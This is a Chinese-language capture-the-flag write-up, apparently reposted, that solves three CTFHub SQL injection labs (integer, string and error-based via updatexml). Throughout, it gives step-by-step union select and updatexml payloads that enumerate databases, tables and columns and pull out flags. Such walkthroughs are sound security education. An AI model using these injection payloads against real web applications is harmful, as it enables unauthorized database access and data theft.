ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql

2020-03-25 19:51:15  阅读:248  来源: 互联网

标签:information union flag select sql concat schema


今天在ctfhub整理了几个sql注入的解题过程,还算是比较详细的。

知识点都是比较常见的:每个题大致涉及的知识点用一张表格解释

!注:下方的 information_schema.xxxxxxxxxxxxxx皆表示 information_schema库下的表

如:schemata、tables等,不作特殊说明的都指information库下的数据表

还有此处的题是ctfhub整合好的,所以所有的数据库和表包括字段名都一样,不要偷懒。

关键字/语句/函数 解释
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

1.SQL整数型注入

  1. 爆当前数据库
4 union select 3,database()

select * from news where id=4 union select 3,database()
ID: 3
Data: sqli

  1. 根据information_schema.schemata爆所有的数据库

    4 union select 3,group_concat(schema_name) from information_schema.schemata
    

    select * from news where id=4 union select 3,group_concat(schema_name) from information_schema.schemata
    ID: 3
    Data: information_schema,mysql,performance_schema,sqli

  1. 根据 information_schema.tables 和 已知的数据库名sqli爆表名
4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

select * from news where id=4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
ID: 3
Data: news,flag

image-20200323225703794

  1. 知道了flag表,就去爆爆字段根据 information_schema.columns 和 flag 表名

    4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
    

    select * from news where id=4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
    ID: 3
    Data: flag

image-20200323230119401

5.知道了flag字段就好说了,直接查里面的内容吧

4 union select 3,group_concat(flag) from sqli.flag

select * from news where id=4 union select 3,group_concat(flag) from sqli.flag
ID: 3
Data: ctfhub{cf0c7df79d5f387aca776784bb5cfaebf98980f0}

image-20200323230231926

2. SQL 字符型注入

  1. 爆列数,不过也不用爆了,因为回显就两列 :ID、DATA
3' union select database(),version() #

image-20200323131701902

  1. 爆库名

    3' union select database(),group_concat(schema_name) from information_schema.schemata #
    

    回显:数据库名字sqli

    select * from news where id='3' union select database(),group_concat(schema_name) from information_schema.schemata #'
    ID: sqli
    Data: information_schema,performance_schema,mysql,sqli

  2. 爆列名

    3' union select database(),group_concat(table_name) from 
    information_schema.tables where table_schema='sqli' #
    

    回显表名:flag

    select * from news where id='3' union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #
    ID: sqli
    Data: news,flag

  3. 爆字段名

    3' union select database(),group_concat(column_name) from 
    information_schema.columns where table_name='flag' #
    

    回显字段名:flag
    select * from news where id='3' union select database(),group_concat(column_name) from information_schema.columns where table_name='flag' #'
    ID: sqli
    Data: flag

  4. 爆字段名

    3' union select database(),group_concat(flag) from sqli.flag #'
    

    select * from news where id='' union select database(),group_concat(flag) from sqli.flag #'
    ID: sqli
    Data: ctfhub{4f0e4923b55e73aa9a1a5fd66fb88b13a1e9e7f2}

3.SQL报错注入

  1. 爆当前数据库
1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #

image-20200323134706109

  1. 爆所有数据库,注意要用括号包起来那一行

    1 union select updatexml(1,concat(0x7e,
    (select(group_concat(schema_name))from information_schema.schemata) 
    ,0x7e),1); #
    

回显所有数据库的部分,发现没有回显sqli的名字,所以肯定是回显的长度受限,之前用到过,substr,left ,mid ,和right函数

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata) ,0x7e),1); #
查询错误: XPATH syntax error: '~information_schema,mysql,perfor'

image-20200323135517744

注意回显得字符最大长度:32个

  1. 爆右边的31个字符,发现了重叠,

    1 union select updatexml(1,concat(0x7e,right( 
    (select(group_concat(schema_name))from information_schema.schemata)
    ,31 ),0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(schema_name))from information_schema.schemata) ,31) ,0x7e),1); #
    查询错误: XPATH syntax error: '~a,mysql,performance_schema,sqli'

    所以总共:information_schema,mysql,performance_schema,sqli四个数据库

  2. 爆表

1 union select updatexml(1,concat(0x7e,
(select(group_concat(table_name))from information_schema.tables where table_schema="sqli")
,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1); #
查询错误: XPATH syntax error: 'news,flag'

  1. 爆列名
1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #
查询错误: XPATH syntax error: 'flag'

  1. 爆内容

一部分flag:

1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
查询错误: XPATH syntax error: '~ctfhub{2333ee20c980f72952ce65c4'

image-20200323233816772

另一部分flag:

1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #
查询错误: XPATH syntax error: '~80f72952ce65c494ec82b147e9940d}'

拼接flag:ctfhub{2333ee20c980f72952ce65c494ec82b147e9940d}

image-20200323233840404

标签:information,union,flag,select,sql,concat,schema
来源: https://www.cnblogs.com/h3zh1/p/12568957.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有